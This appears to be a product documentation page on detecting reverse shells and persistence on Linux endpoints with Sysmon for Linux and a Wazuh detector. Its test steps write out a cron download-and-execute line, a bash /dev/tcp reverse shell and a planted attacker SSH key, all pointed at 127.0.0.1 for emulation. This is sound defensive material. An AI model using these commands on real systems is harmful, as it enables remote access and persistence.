Detecting reverse shells and persistence on Linux endpoints

Linux malware, such as the Kinsing cryptominer and TeamTNT bots, persists on compromised endpoints with cron jobs and SSH keys, and gives attackers remote access through reverse shells. In this use case, you emulate these behaviors on an Ubuntu endpoint, and the standard linux detector generates findings from Sysmon for Linux events.

Note

The emulation stays on the endpoint. The reverse shell connects to a listener on 127.0.0.1, the cron job calls a URL on 127.0.0.1, and the SSH key is a placeholder that matches no private key.

Configure the Linux endpoint

Perform the following steps on an Ubuntu 24.04 endpoint.

  1. Add the Microsoft package repository and install the sysmonforlinux package, which provides Sysmon for Linux:

    $ curl -fsSL https://packages.microsoft.com/config/ubuntu/24.04/packages-microsoft-prod.deb -o /tmp/packages-microsoft-prod.deb
    $ sudo dpkg -i /tmp/packages-microsoft-prod.deb
    $ sudo apt-get update
    $ sudo apt-get install -y sysmonforlinux
    
  2. Create a sysmon-config.xml file with the following content. It logs every process creation and the files created in common persistence paths:

    <Sysmon schemaversion="4.81">
      <EventFiltering>
        <!-- Event ID 1: log every process creation -->
        <RuleGroup name="" groupRelation="or">
          <ProcessCreate onmatch="exclude"/>
        </RuleGroup>
        <!-- Event ID 11: log file creation in common persistence paths -->
        <RuleGroup name="" groupRelation="or">
          <FileCreate onmatch="include">
            <TargetFilename condition="begin with">/etc/cron</TargetFilename>
            <TargetFilename condition="begin with">/var/spool/cron</TargetFilename>
            <TargetFilename condition="begin with">/etc/systemd/system</TargetFilename>
            <TargetFilename condition="contains">/.ssh/</TargetFilename>
            <TargetFilename condition="begin with">/tmp/</TargetFilename>
          </FileCreate>
        </RuleGroup>
      </EventFiltering>
    </Sysmon>
    
  3. Install Sysmon for Linux with the configuration file:

    $ sudo sysmon -accepteula -i sysmon-config.xml
    
  4. Verify that the sysmon service is active:

    $ sudo systemctl status sysmon
    

    The Wazuh agent reads the system journal by default, which includes the Sysmon for Linux events, so you don't need to change the Wazuh agent configuration. If your Wazuh agent /var/ossec/etc/ossec.conf file doesn't include the following block, add it and restart the Wazuh agent:

    <ossec_config>
      <localfile>
        <log_format>journald</log_format>
        <location>journald</location>
      </localfile>
    </ossec_config>
    

Test the configuration

Run the following commands as a regular user on the Ubuntu endpoint:

  1. Add a cron job that downloads and runs a script every five minutes, as cryptominers do:

    $ (crontab -l 2>/dev/null; echo '*/5 * * * * curl -fsSL http://127.0.0.1:8080/ldr.sh | sh') | crontab -
    
  2. Start a listener and open a reverse shell to it. The shell closes after five seconds:

    $ nc -l 127.0.0.1 4444 &
    $ timeout 5 bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'
    
  3. Add an SSH public key to the authorized_keys file of the user, as attackers do to keep access:

    $ echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEmulatedAttackerKeyForTestingOnly0000000000000 attacker" | tee -a ~/.ssh/authorized_keys
    
  4. Remove the cron job and the SSH key after the test:

    $ crontab -l | grep -v 'ldr.sh' | crontab -
    $ sed -i '/EmulatedAttackerKey/d' ~/.ssh/authorized_keys
    

Visualize the findings

Findings can take a few minutes to appear because detectors run at a set interval. Navigate to Threat intelligence → Threat Hunting and select the Findings tab. Add the filter wazuh.integration.name: linux. The following findings appear:

  • Linux reverse shell execution - bash -c bash -i >& /dev/tcp/127.0.0.1/4444 0>&1, with level high. The same rule also matches the timeout command and the interactive bash -i shell of the test, so three reverse shell findings appear.

  • Linux cron/at persistence created, with level medium, for the crontab process and for the file it writes in /var/spool/cron/crontabs/.

  • Sudo command targeting a persistence path - crontab -, with level high.

  • SSH authorized_keys modified, with level high.

Threat Hunting dashboard Findings tab listing the SSH authorized_keys, reverse shell, cron persistence, and sudo persistence path findings

Expand a finding to see the process command line, the parent process, and the MITRE ATT&CK techniques of the rule: T1059 for the reverse shell, T1053 for the cron job, and T1098 for the SSH key.

Document Details of a Linux reverse shell execution finding showing the process arguments, command line, and parent process